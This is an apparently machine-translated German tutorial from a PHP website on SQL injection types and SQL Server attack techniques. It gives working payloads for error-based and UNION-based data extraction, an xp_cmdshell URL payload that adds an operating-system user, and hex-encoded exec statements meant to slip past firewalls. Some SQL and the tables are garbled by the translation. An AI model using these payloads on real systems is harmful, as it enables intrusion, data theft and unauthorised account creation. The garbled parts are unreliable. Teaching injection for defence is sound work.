Heim  >  Artikel  >  Datenbank  >  Welche drei Möglichkeiten der SQL-Injektion gibt es?

Welche drei Möglichkeiten der SQL-Injektion gibt es?

醉折花枝作酒筹
醉折花枝作酒筹Original
2021-07-27 10:41:4933722Durchsuche

Die drei Arten der SQL-Injektion sind: 1. Numerische Injektion. Wenn der Eingabeparameter eine Ganzzahl ist, liegt möglicherweise eine Sicherheitsanfälligkeit für die numerische Injektion vor. 2. Wenn der Eingabeparameter eine Zeichenfolge ist, liegt möglicherweise ein Zeichentyp vor Injektions-Schwachstelle; 3. Such-Typ-Injektion, die Suchparameter werden bei der Datensuche nicht gefiltert.

Welche drei Möglichkeiten der SQL-Injektion gibt es?

Die Betriebsumgebung dieses Tutorials: Windows 7-System, MySQL-Version 8.0, Dell G3-Computer.

SQL-Injection-Prinzip

SQL-Injection-Angriffe beziehen sich auf die Erstellung spezieller Eingaben als Parameter und deren Übergabe an Webanwendungen. Bei den meisten dieser Eingaben handelt es sich um einige Kombinationen in der SQL-Syntax. Durch die Ausführung von SQL-Anweisungen führt der Angreifer die gewünschte Operation aus Der Grund dafür ist, dass das Programm die vom Benutzer eingegebenen Daten nicht sorgfältig filtert, was dazu führt, dass illegale Daten in das System eindringen.

SQL-Injection-Klassifizierung

1. Numerische Injektion

Wenn der Eingabeparameter eine Ganzzahl ist, liegt möglicherweise eine Sicherheitslücke bei der numerischen Injektion vor.

Angenommen, es gibt eine URL: HTTP://www.aaa.com/test.php?id=1

Sie können die Hintergrund-SQL-Anweisung wie folgt erraten:

SELECT * FROM table WHERE id=1

Beurteilen Sie die Zahl SQL-Injektionspunkt vom Typ Schwachstelle:

① Geben Sie zunächst ein einfaches Anführungszeichen „

“ in das Eingabefeld ein. Die SQL-Anweisung lautet:

SELECT * FROM table WHERE id=1“,

entspricht nicht der Syntax , also Diese Anweisung wird definitiv schief gehen, was dazu führt, dass das Skript keine Daten aus der Datenbank abrufen kann, was zu einer Ausnahme auf der Originalseite führt.

② Geben Sie und 1 = 1 in das Eingabefeld ein

Die SQL-Anweisung wird zu:

SELECT * FROM table WHERE id=1 und 1 = 1

Die Anweisung ist korrekt und wird normal ausgeführt. Es gibt keinen Unterschied zwischen den zurückgegebenen Daten und die ursprüngliche Anfrage.

③ Geben Sie und 1 = 2 in die Datenbank ein

Die SQL-Anweisung lautet:

SELECT * FROM table WHERE id=1 und 1 = 2

Obwohl die Syntax korrekt ist und die Anweisung normal ausgeführt wird, ist die Logik falsch, weil 1 = 2 Es ist dauerhaft falsch, daher unterscheiden sich die zurückgegebenen Daten von der ursprünglichen Anfrage.

Wenn alle oben genannten drei Schritte erfüllt sind, weist das Programm möglicherweise eine numerische SQL-Injection-Schwachstelle auf.

2. Zeicheninjektion

Wenn der Eingabeparameter eine Zeichenfolge ist, liegt möglicherweise eine Sicherheitslücke bei der Zeicheninjektion vor. Der größte Unterschied zwischen numerischer und Zeicheninjektion besteht darin, dass numerische Typen nicht in einfache Anführungszeichen gesetzt werden müssen, während Zeichentypen im Allgemeinen in einfache Anführungszeichen gesetzt werden müssen.

Das Wichtigste bei der Zeicheninjektion ist das Schließen der SQL-Anweisung und das Auskommentieren des redundanten Codes.

Angenommen, die Hintergrund-SQL-Anweisung lautet wie folgt:

SELECT * FROM table WHERE username = 'admin'

Bestimmen Sie den SQL-Injektionspunkt der Zeichentyp-Schwachstelle:

① Oder geben Sie zum Testen zuerst das einfache Anführungszeichen admin' ein

eine solche SQL-Anweisung wird zu:

SELECT * FROM table WHERE username = 'admin''.

Die Seite ist abnormal.

② Eingabe: admin' und 1 = 1 --

Hinweis: Nach admin steht ein einfaches Anführungszeichen ', das zum Schließen der Zeichenfolge verwendet wird, und am Ende befindet sich ein Kommentarzeichen (es gibt ein Leerzeichen). nach den beiden Takten!
Die SQL-Anweisung lautet:

SELECT * FROM table WHERE username = 'admin' and 1 = 1 --

Die Seite wird korrekt angezeigt.

③ Eingabe: admin' und 1 = 2 --

SQL-Anweisung wird zu:

SELECT * FROM table WHERE username = 'admin' und 1 = 2 --

Seitenfehler.

Wenn die oben genannten drei Schritte erfüllt sind, liegt möglicherweise eine Zeichen-SQL-Injection vor.

3. Suchinjektion

Dies ist eine besondere Art der Injektion. Diese Art der Injektion bezieht sich hauptsächlich darauf, dass die Suchparameter bei der Durchführung von Datensuchen nicht gefiltert werden. Im Allgemeinen steht „keyword=keyword“ in der Linkadresse, sondern wird direkt über das Suchfeldformular übermittelt. Der Prototyp der von dieser Art von Injektionspunkt übermittelten SQL-Anweisung lautet ungefähr: Wählen Sie * aus dem Tabellennamen aus, wobei das Feld „%keyword%“ lautet. Wenn eine Injektion vorliegt, können wir zum Sprengen eine SQL-Injektionsanweisung ähnlich der folgenden erstellen: Wählen Sie * aus der Tabelle Der Name des Felds ist wie „%test%“ und „%1%“=„%1%“.

Im Folgenden sind einige gebräuchliche Injektionsnamen aufgeführt:

  • POST-Injektion: Das Injektionsfeld befindet sich in den POST-Daten

  • Cookie-Injektion: Das Injektionsfeld befindet sich in den Cookie-Daten.

  • Verzögerte Injektion: Wird mithilfe der Datenbankverzögerungsfunktion eingefügt Die injizierte Zeichenfolge muss mit Base64 verschlüsselt sein

  • Häufige Datenbankinjektionen

  • Bei Datenbankinjektionen nutzen Angreifer einfach die Datenbank, um mehr Daten oder größere Berechtigungen zu erhalten. Die Verwendungsmethoden können in den folgenden Kategorien zusammengefasst werden:
  • Abfrage Daten

Dateien lesen und schreiben

  • Befehle ausführen

  • Bei der Programminjektion führen Angreifer diese drei Dinge unabhängig von einer Datenbank aus, aber die in verschiedene Datenbanken injizierten SQL-Anweisungen sind unterschiedlich.

  • Hier sind die Injektionen von drei Datenbanken: Oracle 11g, MySQL 5.1 und SQL Server 2008.
  • SQL Server

    1. Verwenden Sie Fehlermeldungen, um Informationen zu extrahieren. Die SQL Server-Datenbank ist eine sehr gute Datenbank. Sie kann Fehlerinformationen genau lokalisieren, was für Angreifer sehr gut ist, da Angreifer die gewünschten Daten aus der Datenbank extrahieren können Fehlermeldung.

    ① Zählen Sie die aktuelle Tabelle oder Spalte auf.

    Nehmen Sie an, dass eine solche Tabelle vorhanden ist:

    Welche drei Möglichkeiten der SQL-Injektion gibt es? Fragen Sie die Details des Root-Benutzers wie folgt ab:

    SELECT * FROM user WHERE username = 'root ' UND Passwort = 'root'

    Ein Angreifer kann SQL Server-Funktionen verwenden, um an vertrauliche Informationen zu gelangen. Geben Sie die folgende Anweisung in das Eingabefeld ein:

    ' mit 1 = 1 --

    Die endgültige ausgeführte SQL-Anweisung lautet:

    SELECT * FROM user WHERE username = 'root' AND password = 'root' HAVING 1 = 1 --

    Dann wirft der SQL-Executor möglicherweise einen Fehler aus:

    Welche drei Möglichkeiten der SQL-Injektion gibt es?Der Angreifer kann feststellen, dass der aktuelle Tabellenname user, und die Feld-ID existiert.

    Der Angreifer kann diese Funktion verwenden, um weiterhin andere Spaltennamen abzurufen. Geben Sie die folgende Anweisung ein:

    ' GROUP BY users.id HAVING 1 = 1 --

    Dann wird die SQL-Anweisung zu:

    SELECT * FROM user WHERE username = ' root' AND password = 'root' GROUP BY users.id HAVING 1 = 1 --

    löst den Fehler aus:

    Welche drei Möglichkeiten der SQL-Injektion gibt es? Daran können Sie erkennen, dass der Spaltenname username enthalten ist. Sie können eine rekursive Abfrage einmal ausführen, bis keine Fehlermeldung mehr zurückgegeben wird. Sie können also die HAVING-Klausel verwenden, um alle Spaltennamen der aktuellen Tabelle abzurufen.

    Hinweis: Jede durch Select angegebene Spalte sollte in der Group By-Klausel erscheinen, es sei denn, für diese Spalte wird eine Aggregatfunktion verwendet

    ② Extrahieren Sie Daten mithilfe von Datentypfehlern

    Wenn Sie versuchen, eine Zeichenfolge mit einer Nicht-Zeichenfolge zu vergleichen oder eine Zeichenfolge in einen anderen inkompatiblen Typ konvertieren, löst der SQL-Editor eine Ausnahme aus.

    Die folgende SQL-Anweisung:

    SELECT * FROM user WHERE username = 'abc' AND password = 'abc' AND 1 > (SELECT TOP 1 username FROM users)

    Executor-Fehlermeldung:

    Welche drei Möglichkeiten der SQL-Injektion gibt es?This You kann den Benutzernamen root des Benutzers abrufen. Denn in der Unterabfrage SELECT TOP 1 username FROM wird der zuerst abgefragte Benutzername vom Typ varchar zurückgegeben und dann mit 1 vom Typ int verglichen. Es wird ein Fehler gemeldet führte zu einer Datenpanne.

    Verwenden Sie diese Methode, um alle Kontoinformationen rekursiv abzuleiten:

    SELECT * FROM Users WHERE Username = 'abc' AND Password = 'abc' AND 1 > (SELECT TOP 1 Username FROM Users WHERE not in ('root')) .

    Sie können den nächsten Benutzernamen erhalten, indem Sie diese Anweisung erstellen. Wenn Sie den Benutzernamen in der Unterabfrage durch andere Spaltennamen ersetzen, können Sie die Informationen anderer Spalten abrufen, die hier nicht beschrieben werden.

    2. Metadaten abrufen

    SQL Server bietet eine große Anzahl von Ansichten, um das Abrufen von Metadaten zu erleichtern. Sie können zunächst die Anzahl der Spalten in der Tabelle erraten und dann mit UNION eine SQL-Anweisung erstellen, um die Daten abzurufen.

    Zum Beispiel:

    SELECT *** FROM *** WHERE id = *** UNION SELECT 1, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES

    Wenn die Anzahl der Spalten in der aktuellen Tabelle 2 beträgt, können Sie die UNION-Anweisung verwenden um die aktuelle Datenbanktabelle zu erhalten. Wie Sie die Anzahl der Spalten in der aktuellen Tabelle erraten können, wird später beschrieben.

    Einige häufig verwendete Systemdatenbankansichten:

    Datenbankansicht SYS.DATABASESSYS.SQL_LOGINS. INFORMATION_SCHEMA.TABLESINFORMATION_SCHEMA.COLUMNSSYS.ALL_COLUMNSSYS.DATABASE_PRINCIPALSSYS.DATABASE_FILESSYSOBJECTS
    3. Die ORDER BY-Klausel errät die Anzahl der Spalten.

    Mit der ORDER BY-Anweisung können Sie die Anzahl der Spalten in der aktuellen Tabelle ermitteln.

    Zum Beispiel:

    ① SELECT * FROM user WHERE id = 1 – SQL-Ausführung ist normal

    ②SELECT * FROM user WHERE id = 1 ORDER BY 1 (sortiert nach der ersten Spalte) – SQL-Ausführung ist normal

    ③ SELECT * FROM Users WHERE id = 1 ORDER BY 2 (sortiert nach der zweiten Spalte) – SQL-Ausführung ist normal

    ④ SELECT * FROM Users WHERE id = 1 ORDER BY 3 (sortiert nach der dritten Spalte) – SQL-Ausführung ist normal

    ⑤ SELECT * FROM users WHERE id = 1 ORDER BY 4 (sortiert nach der vierten Spalte) – SQL löst eine Ausnahme aus:

    Welche drei Möglichkeiten der SQL-Injektion gibt es?

    Daraus kann geschlossen werden, dass die Anzahl der Spalten in der aktuellen Tabelle nur 3 beträgt , denn beim Sortieren nach der vierten Spalte ist beim Sortieren der Spalten ein Fehler aufgetreten. Diese Methode funktioniert auch in Oracle- und MySql-Datenbanken.

    Nachdem der Angreifer die Anzahl der Spalten kennt, kooperiert er normalerweise mit dem Schlüsselwort UNION, um den nächsten Angriff durchzuführen.

    4. UNION-Abfrage

    Das Schlüsselwort UNION kombiniert zwei oder mehr Abfrageergebnisse in einem einzigen Ergebnissatz. Es gibt jedoch die folgenden Grundregeln für das Zusammenführen zweier Ergebnisse mithilfe von UNION:

    • Die Anzahl der Spalten in allen Abfragen muss gleich sein

    • Die Datentypen müssen kompatibel sein

    ① Verwenden Sie UNION für die Abfrage Schätzen Sie die Anzahl der Spalten

    Sie können nicht nur die ORDER BY-Methode verwenden, um die Anzahl der Spalten zu erraten, sondern auch die UNION-Methode.

    Es gibt 5 Spalten in der zuvor angenommenen Benutzertabelle. Wenn wir UNION zum Abfragen verwenden:

    SELECT * FROM user WHERE id = 1 UNION SELECT 1

    Die Datenbank gibt eine Ausnahme aus:

    Welche drei Möglichkeiten der SQL-Injektion gibt es?

    Kann abgefragt werden Durch Rekursion können Sie die Anzahl der Abfragefelder in der Benutzertabelle ermitteln, bis keine Fehler mehr auftreten:

    UNION SELECT 1,2, UNION SELECT 1,2,3

    Sie können die Anzahl nach SELECT auch auf null ändern, also Diese Inkompatibilität ist ausnahmsweise weniger wahrscheinlich.

    ② Union-Abfrage für vertrauliche Informationen

    Nachdem Sie wissen, dass die Anzahl der Spalten 4 beträgt, können Sie die folgende Anweisung verwenden, um mit der Injektion fortzufahren:

    UNION SELECT 'x', null, null, null FROM SYSOBJECT WHERE xtype='U ' (Hinweis: xtype ='U' bedeutet, dass der Objekttyp eine Tabelle ist)

    Wenn der Datentyp der ersten Spalte nicht übereinstimmt, meldet die Datenbank einen Fehler. Anschließend können Sie rekursiv abfragen, bis die Anweisungen kompatibel sind. Wenn die Anweisung normal ausgeführt wird, können Sie x durch eine SQL-Anweisung ersetzen, um vertrauliche Informationen abzufragen.

    5. Verwenden Sie die von SQL Server bereitgestellten Systemfunktionen. SQL Server bietet viele Systemfunktionen. Sie können diese Systemfunktionen verwenden, um auf die Informationen in den SQL Server-Systemtabellen zuzugreifen, ohne SQL-Abfrageanweisungen zu verwenden.

    Zum Beispiel:

      SELECT suser_name(): Gibt den Anmeldeidentifikationsnamen des Benutzers zurück
    • SELECT user_name(): Gibt den Datenbankbenutzernamen basierend auf der angegebenen Identifikationsnummer zurück
    • SELECT db_name(): Gibt zurück der Datenbankname
    • SELECT is_member('db_owner'): Ob es sich um eine Datenbankrolle handelt
    • SELECT Convert(int, '5'): Datentypkonvertierung
    • 6. Gespeicherte Prozedur
    Gespeicherte Prozedur (Gespeicherte Prozedur) ist eine Reihe von SQL-„Funktionen“ in großen Datenbanksystemen, um bestimmte Funktionen auszuführen, z. B. das Ausführen von Systembefehlen, das Anzeigen der Registrierung, das Lesen von Festplattenverzeichnissen usw.

    Die von Angreifern am häufigsten verwendete gespeicherte Prozedur ist „xp_cmdshell“. Diese gespeicherte Prozedur ermöglicht es Benutzern, Betriebssystembefehle auszuführen.

    Zum Beispiel: Wenn es einen Injektionspunkt in http://www.aaa.org/test.aspx?id=1 gibt, kann der Angreifer einen Befehlsangriff durchführen:

    http://www.aaa.org/ test.aspx? id=1; exec xp_cmdshell 'net user test test /add'


    Die endgültige ausgeführte SQL-Anweisung lautet wie folgt:

    SELECT * FROM table WHERE id=1;

    nach dem Semikolon Diese Anweisung kann für den Angreifer einen neuen Benutzer mit dem Benutzernamentest und dem Passworttest auf dem Server der anderen Partei erstellen.

    Hinweis: Nicht jeder Datenbankbenutzer kann diese Art von gespeicherter Prozedur verwenden. Der Benutzer muss über CONTROL SERVER-Berechtigungen verfügen.

    Kommon Dangerous gespeicherte Prozeduren sind wie folgt:

    Beschreibung
    Alle Datenbanken in SQL Server
    Alles im SQL Server-Anmeldenamen
    Alle Datentabellen in der aktuellen Benutzerdatenbank
    Alle Spalten in der aktuellen Benutzerdatenbank
    Benutzerdefiniert und Systemobjekte Union aller Spalten
    Per Berechtigungen oder Spaltenausnahmeberechtigungen in der Datenbank
    In der Datenbank gespeicherte Datenbankdateien
    in der Datenbank erstellt Objekt (einschließlich Einschränkungen, Protokolle und gespeicherte Prozeduren)
    Stored Procedure Löscht einen Datenbankbenutzer aus der aktuellen Datenbank� xp_servicecontrolStoppen oder aktivieren Sie einen Dienst

    Darüber hinaus erfordert jede Datenbank bestimmte Berechtigungen, wenn sie bestimmte Funktionen oder gespeicherte Prozeduren verwendet. Allgemeine SQL Server-Datenbankrollen und -berechtigungen sind wie folgt:

    Beschreibung sp_dropuser
    xp_enumgroups Stellt eine lokale Microsoft Windows-Gruppenliste bereit oder definiert eine globale Gruppenliste in einer angegebenen Windows-Domäne
    xp_regread Liest die Registrierung
    Rollen Berechtigungen
    Bulkadmin kann BULK INSERT-Anweisungen ausführen
    dbcreator kann erstellen, ändern, löschen und wiederherstellen Datenbank
    diskadmin kann Festplattendateien verwalten
    processadmin kann Instanzen anlegen, die in der Datenbank-Engine ausgeführt werden
    securityadmin kann Anmeldungen und deren Attribute verwalten; kann GRANT, DENY und REVOKE Server nutzen. Berechtigungen auf Datenbankebene; Sie können auch die Berechtigungen auf Datenbankebene GRANT, DENY und REVOKE nutzen; Sie können auch das Passwort für Ihre SQL Server-Anmeldung zurücksetzen
    serveradmin Kann serverweite Konfigurationsoptionen ändern und den Server herunterfahren
    setupadmin kann Verbindungsserver hinzufügen und löschen und bestimmte gespeicherte Systemprozeduren ausführen
    sysadmin kann jede Aktivität in der Datenbank-Engine ausführen
    7. Dynamische Ausführung

    SQL Server unterstützt die dynamische Ausführung Anzahl der Anweisungen kann der Benutzer eine Zeichenfolge senden, um eine SQL-Anweisung auszuführen.

    Zum Beispiel: exec('SELECT Benutzername, Passwort FROM Benutzer')

    Sie können auch eine hexadezimale SQL-Anweisung definieren und die exec-Funktion verwenden, um sie auszuführen. Die meisten Webanwendungen und Firewalls filtern einfache Anführungszeichen. Die Verwendung von exec zum Ausführen hexadezimaler SQL-Anweisungen kann viele Firewalls und Anti-Injection-Programme durchbrechen, wie zum Beispiel:

    declare @query varchar(888)
    select @query=0x73656C6563742031
    exec(@query)

    oder:

    declare/**/@Abfrage/**/varchar (888) /**/wählen/**/@query=0x73656C6563742031/**/exec(@query)

    Verwandte Empfehlungen: „MySQL-Tutorial

Das obige ist der detaillierte Inhalt vonWelche drei Möglichkeiten der SQL-Injektion gibt es?. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn